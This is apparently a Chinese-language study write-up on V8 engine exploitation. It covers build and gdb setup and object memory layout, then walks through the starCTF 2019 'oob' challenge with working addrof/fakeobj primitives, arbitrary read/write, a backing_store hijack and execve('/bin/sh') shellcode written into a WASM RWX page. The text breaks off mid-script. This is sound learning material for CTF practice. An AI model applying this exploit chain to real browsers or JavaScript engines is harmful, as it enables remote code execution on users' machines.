环境搭建
原文作者选择在win上用WSL编译,笔者因为电脑比较得劲就开个ubuntu编译
分配了12G内存、16核,time autoninja看了一下大概9min就好了。
这里得先装一个git,然后装depot_tools
cd ~
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH="$HOME/depot_tools:$PATH"我们用fetch v8会拉下v8源码后直接创一个v8目录,不用特地mkdir v8
随后:
./build/install-build-deps.sh这个可以自动装一些小工具,gclient sync下载依赖。
$ gn gen out/x64.release --args='放编译参数,正常会给args.gn'

用autoninja -C out/x64.release d8编译,前面加个time可以算时间

git reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ff(这个会把修改切没掉,只切版本的话就用git checkout)
推荐用gclient sync -D,可以把不需要的依赖删掉

如果题目提供了patch就在gclient sync -D后打一下git apply < ./patch
自动编译
原文出于方便编译任意版本的目的写了build.sh,不过对于初学者来说还是先手搓好
这部分属于额外环境封装,跳过。
通用利用链
在正常做ctf时一般都有一个明确的目标,拿shell或者orw,原文认为在v8中的目标就是执行任意shellcode
v8调试
首先把v8/tools/gdbinit加入到~/.gdbinit中

这样在用gdb启动d8时就能用v8的调试指令
接下来在d8目录中vim一个test.js


这里得加入--allow-natives-syntax,d8里没有%这种东西

%DebugPrint()打印对象在v8内的表示
这里的prototype表示原型对象,JavaScript 对象找不到某个属性时,会沿着 prototype 链继续往上找
[PACKED_SMI_ELEMENTS (COW)] COW表示copy on write,写时复制

map本身也是v8 heapobject,所以map也有map
普通 JS 对象的类型信息 → Map
Map 自己的类型信息 → MetaMap
properties = 按名字访问
elements = 按数字下标访问
tagged pointer : 因为堆对象地址按字节对齐,最低几位本来通常是 0,V8 就拿这些位来区分“这是整数还是堆对象指针”
最低位 = 0 → Smi 小整数
最低位 = 1 → HeapObject 指针
gdb启动

gdb进入d8后用r --allow-natives-syntax test.js运行js命令

这样就方便用gdb看内存了
前面提到了v8的gdbinit,里面给gdb加了一些辅助调试命令,job就跟%DebugPrint()差不多
不过这里得注意一下
因为 job 操作的是 V8 的 Tagged Pointer,而“真实地址”是去掉 tag 后的对
象起始地址
所以job后面的参数为真实地址+1
如果启用了 Pointer Compression,还可能再多一层压缩指针到完整地址的转换

如果参数是真实地址,会被解析成Smi
wasm
Wasm(WebAssembly)是一种面向虚拟机的二进制指令格式,主要目的是让 C/C++、Rust 等现有代码能进入web,而不是得全部重写成JS
v8可以把这种二进制指令格式编译成机器码执行
C / C++ / Rust
│
│ 编译
▼
WebAssembly
(.wasm)
│
▼
Chrome / V8 / Firefox / Wasmtime
│
▼
机器码执行JS调用wasm(一般就是通过浏览器提供的 WebAssembly API)常常是为了把高性能或者底层任务交给wasm
基本现代浏览器都支持wasm,老v8会生成一段rwx内存给wasm用,现代就复杂一点
vim一个js看看

%SystemBreak();
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(f);
%DebugPrint(wasmInstance);
%SystemBreak();我们先看看这个无符号8位整数array表示了什么。
Uint8Array 里面每个数字都是一个字节,整体就是一个 .wasm 文件的原始二进制内容。
等价于
(module
(type $t0 (func (result i32)))
(func $main (type $t0)(result i32)
i32.const 42
)
(table 0 funcref)
(memory 1)
(export "memory" (memory 0))
(export "main" (func 0))
)
memory()导出一块 Wasm Linear Memory
main()return 42
wasmModule这一步是将wasmCode转化成v8可以识别的程序模板(Module可便于创建多个独立运行的实例)
wasmInstance真正实例化
var f = wasmInstance.exports.main;
从 wasmInstance 导出的内容里,取出名为 main 的 Wasm 函数,然后保存到变量 f
wasmInstance.exports表示这个Wasm实例对JS暴露出来的所有东西(memory、main)

在第二个断点处我们发现它生成了一段rwx
现在的问题变成我们如何得到该地址
先看看%DebugPrint(f)输出了什么

可以看出这是一个函数对象

SharedFunctionInfo,简称 SFI,保存函数相对静态的元数据

用job查看shared_info

查看data结构

看看instance


注意到该地址与WasmInstanceObject重合
原文的rwx在instance+68,我这里编译出来的d8是12.8(开了sandbox),用jump table能找出来,原文instance那还真没有。


在12.8.0中WasmTrustedInstanceData的trusted_data + 0x38处
现在的目的就是把shellcode写进wasm的rwx段然后执行
任意读写
先看看两种变量类型的结构


先看看a
DebugPrint: 0x36e100047ff9: [JSArray]
-map:0x36e10018cd1d <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
-prototype:0x36e10018c691 <JSArray[0]>
-elements:0x36e100047fe9 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
-length:1
-properties:0x36e100000725 <FixedArray[0]>
-All own properties (excluding elements): {
0x36e100000d99: [String] in ReadOnlySpace:#length: 0x36e10028827d <AccessorInfo name= 0x36e100000d99 <String[6]: #length>, data= 0x36e100000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor
}
-elements:0x36e100047fe9 <FixedDoubleArray[1]> {
0:2.1
}
0x36e10018cd1d: [Map] in OldSpace
-map:0x36e1001816d9 <MetaMap (0x36e100181729 <NativeContext[295]>)>
-type:JS_ARRAY_TYPE
-instance size:16
-inobject properties:0
-unused property fields:0
-elements kind:PACKED_DOUBLE_ELEMENTS
-enum length:invalid
-back pointer:0x36e10018ccdd <Map[16](HOLEY_SMI_ELEMENTS)>
-prototype_validity cell:0x36e100000a89 <Cell value= 1>
- instance descriptors #1: 0x36e10018cca9 <DescriptorArray[1]>
- transitions #1: 0x36e10018cd45 <TransitionArray[4]>
Transition array #1:0x36e100000e5d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x36e10018cd5d <Map[16](HOLEY_DOUBLE_ELEMENTS)>
-prototype:0x36e10018c691 <JSArray[0]>
-constructor:0x36e10018c389 <JSFunction Array (sfi = 0x36e10028d6cd)>
-dependent code:0x36e100000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
-construction counter:0pwndbg> x/8gx 0x36e100047ff9-1
0x36e100047ff8: 0x000007250018cd1d 0x0000000200047fe9
0x36e100048008: 0x00000725001985e9 0x0000000200000725
0x36e100048018: 0x0001000100000685 0x0000074d00000000
0x36e100048028: 0x0000008400002b09 0x0000056d00000002
pwndbg> x/8gx 0x36e100047fe9-1
0x36e100047fe8: 0x00000002000008a9 0x4000cccccccccccd
0x36e100047ff8: 0x000007250018cd1d 0x0000000200047fe9
0x36e100048008: 0x00000725001985e9 0x0000000200000725
0x36e100048018: 0x0001000100000685 0x0000074d00000000
内存大概长这样
注意到这里开了指针压缩,很多字段只有 4 bytes
cage base = 0x36e100000000
FixedDoubleArray
0x...47fe8 ┌────────────────────────────┐
│ map = 0x000008a9 │ 4B
│ length = 0x00000002 Smi(1) │ 4B
0x...47ff0 │ 0x4000cccccccccccd │ 8B
│ = 2.1 │
└────────────────────────────┘
JSArray
0x...47ff8 ┌────────────────────────────┐
│ map = 0x0018cd1d │ 4B
│ properties = 0x00000725 │ 4B
0x...48000 │ elements = 0x00047fe9 │ 4B
│ length = 0x00000002 Smi(1) │ 4B
└────────────────────────────┘
0x...48008 下一个 HeapObject注意到这一次a 的 FixedDoubleArray backing store 恰好位于 a 对象之前。如果漏洞允许对该 backing store 进行越界读写,那么越过其末尾后,就可能访问相邻堆对象的 map、properties、elements、length

这里是因为压缩指针下 Smi 只有 31 位且强制 值<<1(最低位必须为 0),塞不进任意 64 位值,读出来也被抹掉最低位
b跟c
DebugPrint: 0x36e100048009: [JS_OBJECT_TYPE]
-map:0x36e1001985e9 <Map[16](HOLEY_ELEMENTS)> [FastProperties]
-prototype:0x36e100182611 <Object map = 0x36e100181c25>
- elements: 0x36e100000725 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x36e100000725 <FixedArray[0]>
- All own properties (excluding elements): {
0x36e100002b09: [String] in ReadOnlySpace: #a: 1 (const data field 0, attrs: [WEC]) @ Any, location: in-object
}0x36e1001985e9: [Map] in OldSpace
-map:0x36e1001816d9 <MetaMap (0x36e100181729 <NativeContext[295]>)>
-type:JS_OBJECT_TYPE
-instance size:16
-inobject properties:1
-unused property fields:0
-elements kind:HOLEY_ELEMENTS
-enum length:invalid
-stable_map
-back pointer:0x36e1001985c1 <Map[16](HOLEY_ELEMENTS)>
-prototype_validity cell:0x36e100000a89 <Cell value= 1>
- instance descriptors (own) #1: 0x36e100048019 <DescriptorArray[1]>
- prototype: 0x36e100182611 <Object map = 0x36e100181c25>
- constructor: 0x36e100182139 <JSFunction Object (sfi = 0x36e10028cc7d)>
- dependent code: 0x36e100000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
DebugPrint: 0x36e100048041: [JSArray]
-map:0x36e10018cd9d <Map[16](PACKED_ELEMENTS)> [FastProperties]
-prototype:0x36e10018c691 <JSArray[0]>
-elements:0x36e100048035 <FixedArray[1]> [PACKED_ELEMENTS]
-length:1
-properties:0x36e100000725 <FixedArray[0]>
-All own properties (excluding elements): {
0x36e100000d99: [String] in ReadOnlySpace:#length: 0x36e10028827d <AccessorInfo name= 0x36e100000d99 <String[6]: #length>, data= 0x36e100000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor
}
-elements:0x36e100048035 <FixedArray[1]> {
0:0x36e100048009 <Object map = 0x36e1001985e9>
}0x36e10018cd9d: [Map] in OldSpace
-map:0x36e1001816d9 <MetaMap (0x36e100181729 <NativeContext[295]>)>
-type:JS_ARRAY_TYPE
-instance size:16
-inobject properties:0
-unused property fields:0
-elements kind:PACKED_ELEMENTS
-enum length:invalid
-back pointer:0x36e10018cd5d <Map[16](HOLEY_DOUBLE_ELEMENTS)>
-prototype_validity cell:0x36e100000a89 <Cell value= 1>
- instance descriptors #1: 0x36e10018cca9 <DescriptorArray[1]>
- transitions #1: 0x36e10018cdc5 <TransitionArray[4]>
Transition array #1:
0x36e100000e5d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_ELEMENTS) -> 0x36e10018cddd <Map[16](HOLEY_ELEMENTS)>
- prototype: 0x36e10018c691 <JSArray[0]>
- constructor: 0x36e10018c389 <JSFunction Array (sfi = 0x36e10028d6cd)>
- dependent code: 0x36e100000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0let b = {"a": 1};
let c = [b];
变量 c 是一个数组,数组里唯一的元素就是对象 b
pwndbg> job 0x36e100048035
0x36e100048035: [FixedArray]
-map:0x36e10000056d <Map(FIXED_ARRAY_TYPE)>
-length:1
0:0x36e100048009 <Object map = 0x36e1001985e9>
pwndbg> x/8gx 0x36e100048041-1
0x36e100048040:0x000007250018cd9d0x0000000200048035
0x36e100048050:0x00000000000000000x0000000000000000
0x36e100048060:0x00000000000000000x0000000000000000
0x36e100048070:0x00000000000000000x0000000000000000
pwndbg> x/8gx 0x36e100048035-1
0x36e100048034:0x000000020000056d0x0018cd9d00048009
0x36e100048044:0x00048035000007250x0000000000000002
0x36e100048054:0x00000000000000000x0000000000000000
0x36e100048064:0x00000000000000000x0000000000000000变量 c 和变量 a 本身都是 JSArray,因此 JSArray 对象头的结构基本相同。区别主要在 elements 指向的 backing store。a 是 PACKED_DOUBLE_ELEMENTS,使用 FixedDoubleArray,其中每个元素直接保存一个 64-bit double;c 是 PACKED_ELEMENTS,使用 FixedArray,其中对象元素以 Tagged Pointer 保存。
在开启 Pointer Compression 的情况下,这些 Tagged Pointer 被压缩为 32 bit,因此 c 的每个元素槽位是 32 bit
任意变量地址读
我们看看V8 利用里最经典的两个原语:
addressOf / addrof对象 → 地址 fakeObj / fakeobj地址 → 对象
Map 中的 ElementsKind 决定 V8 用什么方式解释 elements 里的 bit
a.map → PACKED_DOUBLE_ELEMENTS
a.elements:
| map | length | 64-bit IEEE754 double |
c.map → PACKED_ELEMENTS
c.elements:
| map | length | 32-bit compressed Tagged Pointer | ...内存本身只是一堆 bit。真正决定这 32/64 bit 到底应该被当成 double,还是对象引用的是 Map → ElementsKind。
如果把变量c的map地址改成变量a的,那么当执行c[0]的时候,获取到的就是变量b的地址。
这就是addrof函数的目的。
double to object
fakeobj:把浮点数组伪装成对象数组
利用模板概览
漏洞本身只负责一件事:改写某个 JSArray 的 map 字段
具体漏洞(OOB / UAF / 类型混淆)唯一要求:能把某个 JSArray 的 map 改成另一种数组的 map

之后的利用链全部固定:map 混淆 → addrof/fakeObj 原语 → 任意读写 → 劫持 backing_store → 写 WASM RWX 页 → 触发执行
[触发层] 漏洞 → JSArray 元数据可控(map / length / elements)
[原语层] addrof ⇄ fakeobj(同一操作的镜像)→ fake_array+fake_object → read64/write64
[执行层] 改 ArrayBuffer.backing_store → DataView 写 shellcode → 调 wasm 导出函数
写shellcode
function write64(addr, data)
{
fake_array[1] = itof(addr - 0x8n + 0x1n); // ① 伪造 elements 指针
fake_object[0] = itof(data); // ②③ 引擎按 double 数组语义写入
}由fake_array和fake_object构造的write64不能直接把shellcode写入rwx
elements 字段只有 32 位,解压规则是固定拼接 cage base,最主要的原因就是rwx段在解压缩指针的4GB范围内不可达。

write64 的目标地址前面 8 字节**必须可读且内容凑合合法,**而 RWX 段起始地址的前 8 字节(rwx−8)落在映射之外(未映射页/保护区域),第一次解引用就段错误。
f() 的调用落点固定在 RWX 区域入口,rwx+8也不可取
先vim一下

程序先申请了一块 16 字节的小内存,叫 data_buf。
然后又创建了一个 DataView,专门用来读写这块内存。
接着程序通过这个工具,把数字 2.0 写到这块内存的最开头,占用前 8 个字节
DebugPrint: 0x1db000048039: [JSArrayBuffer]
-map:0x1db000189c91 <Map[52](HOLEY_ELEMENTS)> [FastProperties]
-prototype:0x1db000189e25 <Object map = 0x1db000189cb9>
- elements: 0x1db000000725 <FixedArray[0]> [HOLEY_ELEMENTS]
- cpp_heap_wrappable: 0
- backing_store: 0x1db100000000
- byte_length: 16
- max_byte_length: 16
- detach key: 0x1db000000069 <undefined>
- detachable
- properties: 0x1db000000725 <FixedArray[0]>
- All own properties (excluding elements): {} 0x1db000189c91: [Map] in OldSpace
-map:0x1db0001816d9 <MetaMap (0x1db000181729 <NativeContext[295]>)>
-type:JS_ARRAY_BUFFER_TYPE
-instance size:52
-inobject properties:0
-unused property fields:0
-elements kind:HOLEY_ELEMENTS
-enum length:invalid
-stable_map
-back pointer:0x1db000000069 <undefined>
-prototype_validity cell:0x1db000000a89 <Cell value= 1>
- instance descriptors (own) #0: 0x1db000000759 <DescriptorArray[0]>
- prototype: 0x1db000189e25 <Object map = 0x1db000189cb9>
- constructor: 0x1db000189c41 <JSFunction ArrayBuffer (sfi = 0x1db000291bfd)>
- dependent code: 0x1db000000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
DebugPrint: 0x1db00004806d: [JSDataView]
-map:0x1db000187561 <Map[48](HOLEY_ELEMENTS)> [FastProperties]
-prototype:0x1db000187781 <Object map = 0x1db000187589>
- elements: 0x1db000000725 <FixedArray[0]> [HOLEY_ELEMENTS]
- buffer =0x1db000048039 <ArrayBuffer map = 0x1db000189c91>
- byte_offset: 0
- byte_length: 16
- properties: 0x1db000000725 <FixedArray[0]>
- All own properties (excluding elements): {} 0x1db000187561: [Map] in OldSpace
-map:0x1db0001816d9 <MetaMap (0x1db000181729 <NativeContext[295]>)>
-type:JS_DATA_VIEW_TYPE
-instance size:48
-inobject properties:0
-unused property fields:0
-elements kind:HOLEY_ELEMENTS
-enum length:invalid
-stable_map
-back pointer:0x1db000000069 <undefined>
-prototype_validity cell:0x1db000000a89 <Cell value= 1>
- instance descriptors (own) #0: 0x1db000000759 <DescriptorArray[0]>
- prototype: 0x1db000187781 <Object map = 0x1db000187589>
- constructor: 0x1db00018752d <JSFunction DataView (sfi = 0x1db000292b5d)>
- dependent code: 0x1db000000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0 这里有一个跟原文不一样的地方,原文没开sandbox,backing store是malloc 原生堆的裸指针。
我这里编译开了sandbox

data_buf


double型的2.0就是0x4000000000000000

可以看处data_buf的值存储在一段连续的地址中
原文的思路是通过修改backing_store字段的值为rwx内存地址,来达到写shellcode的目的。

我们发现 backing_store 那 8 字节存的不是 0x1db100000000 本身
真实地址
0x1db100000000
↓ 减 sandbox base
offset = 0x1db100000000 - 0x1db000000000
= 0x100000000
↓ 左移 24 bit
raw = 0x100000000 << 24
= 0x0100000000000000这里还想copy_shellcode_to_rwx 就得打sandbox escape了
利用
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n //execve(/bin/sh,0,0)
];
copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();通过f()执行shellcode
starctf 2019 OOB
https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/
这里有完整的patch
环境构造
git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
gclient sync -D
cd ..
vim oob.diff
cd v8
git apply ../oob.diff
python2 build/linux/sysroot_scripts/install-sysroot.py --arch=amd64这里编译的时候遇到一个问题,v8的版本太老得用到python2,但apt不提供了,只能开个docker了。
docker run -it \
--name v8-startctf \
-v ~/v8:/work \
ubuntu:20.04 \
bash
apt update
apt install -y python2 git curl ca-certificates build-essential

python build/linux/sysroot_scripts/install-sysroot.py --arch=amd64
apt install -y pkg-config
./buildtools/linux64/gn gen out.gn/x64_startctf.release --args='
v8_monolithic=true
v8_use_external_startup_data=false
is_component_build=false
is_debug=false
target_cpu="x64"
use_goma=false
goma_dir="None"
v8_enable_backtrace=true
v8_enable_disassembler=true
v8_enable_object_print=true
v8_enable_verify_heap=true
treat_warnings_as_errors=false
'
apt install -y ninja-build
time ninja -C out.gn/x64_startctf.release d8
还挺快

记得把没用的docker删掉
分析
先看看patch
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();
// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
给所有 JavaScript 数组的原型 Array.prototype 新增了一个叫 oob (out of bounds)的方法,传入两个参数。
也就是 JS 里能这么调
let a = [1.1, 2.2, 3.3];
a.oob(); // 读
a.oob(1.337); // 写
定义内置函数ArrayOob(),ArrayOob能调用isolate(当前实例)跟args(调用参数)变量
uint32_t len = args.length();取本次参数调用个数(args[0]->this也算一个),故arr.oob(x)->length == 2,len>2时直接return underfined
JSReceiver表示 V8 里“可以接收属性访问的 JS 对象”的基类
{}
[]
function(){}
new Date()例如这些
Handle<JSReceiver>
表示一个由 V8 GC 管理的 JSReceiver 引用,receiver是变量名
args.receiver():拿到当前函数调用里的 **receiver,也就是 ****this**
然后把JSReceiver转化成JSArray类型的Handle。取内存,转化成FixedDoubleArray,取length转化成number。
接下来是个条件分支,len =1 read,len = 2 write
return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
这一块实际上最后一个元素应该是length-1,这里正好能越界访问一个元素
elements.set(length,value->Number());
相当于elements[length] = value;oob方法相当于提供一个8字节的越界读写
利用构造
JS是不能直接读addr的,但通过类型混淆可以让v8将一个addr pointer所在8字节当成 double 数组里的浮点数读出来。
首先构造froi()跟itof()函数转化再JS里的数据表示
ftoi(float) -> BigInt:把泄露出来的 double 还原成 64-bit 整数地址
itof(BigInt) -> float:把想写入的 64-bit 地址伪装成 double 写回内存
等于是同一块内存不同的解释方式
var buf = new ArrayBuffer(8)
var f64_buf = new Float64Array(buf)
var u32_buf = new Uint32Array(buf)
function ftoi(val){ // float to BigInt
f64_buf[0] = val;
return BigInt(u32_buf[0]) + (BigInt(u32_buf[1]) << 32n);
}
function itof(val){ // BigInt to float
u32_buf[0] = Number(val & 0xffffffffn);
u32_buf[1] = Number(val >> 32n);
return f64_buf[0];
}f64与u32共享buf,但对数据的解释方式不一样
ftoi通过f64传入val并用u32读取相加成BigInt(高位值左移32位与低位值相加)
itof用u32拆开val,& 0xffffffffn 表示位与,低32位保留,高位清0;高位右移
val = HHHHHHHH LLLLLLLL
val & 0xffffffffn → 00000000 LLLLLLLL ← 低 32 位
val >> 32n → 00000000 HHHHHHHH ← 高 32 位搬到低位
//大概长这样,高低位分别运算并存储00000000 LLLLLLLL
00000000 HHHHHHHH
注意这是显示形式,u32储存的是32位数据(JS中普通数字都是 Number,>>这类位运算会先把number转换成 32 位整数再进行操作 ),两个加起来正好是64位
addrof()/fakeobj()
addrof()把obj数组的map改成浮点数的map,fakeobj()相反
var obj = {"A": 1};
var obj_arr = [obj];
var float_arr = [1.1,1.2,1.3,1.4];
var obj_arr_map = obj_arr.oob();
var float_arr_map = float_arr.oob();
function addrof(in_obj){
obj_arr[0] = in_obj;
obj_arr.oob(float_arr_map);
let addr = obj_arr[0];
obj_arr.oob(obj_arr_map);
return ftoi(addr);
}
function fakeobj(addr){
float_arr[0] = itof(addr);
float_arr.oob(obj_arr_map);
let fake = float_arr[0];
float_arr.oob(float_arr_map);
return fake;
}这里得注意到obj_arr.oob()读出的正好是该buffer的下一个8字节,也就是该数组对象自己的map

发现array buf后就是其JS对象的map指针
var obj_arr_map = obj_arr.oob();
var float_arr_map = float_arr.oob();对应其数组指针
addof()传入一个JS对象return 对象地址
fakeobj()传入一个地址,然后让v8认为这是一个JS对象
都是通过改map的方式实现类型混淆
最后得把map改回来避免后续操作把数组搞坏
任意读写
这里的n是JS BigInt字面量标记
var arb_rw_arr = [float_arr_map,1.2,1.3,1.4];
//这里的float_arr_map是double值
function arb_read(addr){
if (addr%2n == 0) addr += 1n;
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
return ftoi(fake[0]);
}
function initial_arb_write(addr,val){
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
fake[0] = itof(BigInt(val));
}伪造一个 JSArray,然后不断修改这个假数组的 elements 指针,让 fake[0] 实际去读/写任意地址。
arb_read()中
if (addr%2n == 0) addr += 1n; 用于伪造tagged pointer,欺骗v8把他当成JS对象
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);在arb_rw_arr 数组对象指针指向的addr-0x20处,也就是它的buffer构造一个伪JS对象。
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);把假数组的 elements 指针控制成:
addr - 0x10JSArray的布局大致如此
JSArray
┌─────────────────────┐
│ map │ 告诉是什么类型
├─────────────────────┤
│ properties │
├─────────────────────┤
│ elements │ ────────> 真正存数组元素的地方
├─────────────────────┤
│ length │
└─────────────────────┘JSArray 本身只有 4 个字段(0x20 字节),元素放在堆上另一块连续内存里(这种设计便于共享内存以及copy on write)
即elements指向某块内存,fake[0]是去 elements 指向的+0x10处读取第 0 个元素。
arb_rw_arr的内存布局变化:
真实 arb_rw_arr 的 FixedDoubleArray
┌──────────────────────────────┐
│ E+0x00: FixedDoubleArray.map │
│ E+0x08: length │
│ E+0x10: elements[0] │ = float_arr_map ──> 被当成 fake.map
│ E+0x18: elements[1] │ = 1.2 ──> 被当成 fake.properties
│ E+0x20: elements[2] │ = 1.3 ──> 被当成 fake.elements
│ E+0x28: elements[3] │ = 1.4 ──> 被当成 fake.length
└──────────────────────────────┘
↑
│ fake = fakeobj(A - 0x20) = fakeobj(E + 0x10)
│
改 arb_rw_arr[2]:
E+0x20 = addr - 0x10
↓
fake.elements = addr - 0x10
↓
fake[0] 实际访问:
fake.elements + 0x10 = addr
↓
读/写 addr这里有一点注意下,elements 指向的通常不是第一个实际数据,而是一个 FixedArray/FixedDoubleArray 结构,当前版本下的offset为0x10
内存布局长这样
E+0x00 ┃ FixedDoubleArray 的 map ┃ ┐
E+0x08 ┃ length = 4 ┃ ┘ buffer 头,共 0x10
E+0x10 ┃ element[0] = float_arr_map ┃ ← fake 必须从这一行开始
E+0x18 ┃ element[1] = 1.2 ┃
E+0x20 ┃ element[2] = 1.3 ┃ 数据区,4 × 8 = 0x20
E+0x28 ┃ element[3] = 1.4 ┃
E+0x30 ┃ ───────── buffer 结束 ─────────┃
A+0x00 ┃ JSArray.map ┃ ← A = E + 0x30
A+0x08 ┃ properties ┃
A+0x10 ┃ elements → E ┃
A+0x18 ┃ length = 4 ┃等于是<font style="color:rgb(15, 17, 21);background-color:rgb(250, 250, 250);">arb_rw_arr</font>的元素区被借出来塞进fake对象</font>
WASM
用wasm申请一个RWX页
这里可以用用wat2wasm、wasm2wat
var wasm_code = new Uint8Array([
0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3,
130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131,
128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128,
128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0,
10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11
]);这里复用一下之前的wasm,含义大致是导出一块 Wasm Linear Memory
main()函数return 42
var wasm_code = new Uint8Array([
0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3,
130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131,
128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128,
128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0,
10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11
]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;
var rwx_page_addr = arb_read(addrof(wasm_instance)-1n+0x88n);编译mod,实例化,导出main函数,read rwx_page_addr
这里的0x88得gdb看一下
wasm_instance = 0x2421fb1a0d31
gdb就是好用啊
copy_shellcode
function copy_shellcode(addr,shellcode){
let abuf = new ArrayBuffer(0x100);
let dataview = new DataView(abuf);
let backing_store_addr = addrof(abuf) + 0x20n;
initial_arb_write(backing_store_addr,addr);
for(let i = 0;i < shellcode.length;i++){
dataview.setUint32(4*i,shellcode[i],true);
}
}0x20是backing store 的offset
dataview.setUint32(4*i,shellcode[i],true);,32位小端序写入
这里用pwntools生成一下shellcode
from pwn import *
context.clear(arch='amd64')
context.log_level = 'error'
sc = asm("""
lea rdi, [rip + sh]
xor esi, esi
xor edx, edx
mov eax, 59
syscall
sh:
.asciz "/bin/sh"
""")
sc = sc.ljust((len(sc) + 3) // 4 * 4, b'\x90')
print("// %d bytes" % len(sc))
print("var shellcode = [")
words = ["0x" + sc[i:i+4][::-1].hex() for i in range(0, len(sc), 4)]
for i in range(0, len(words), 6):
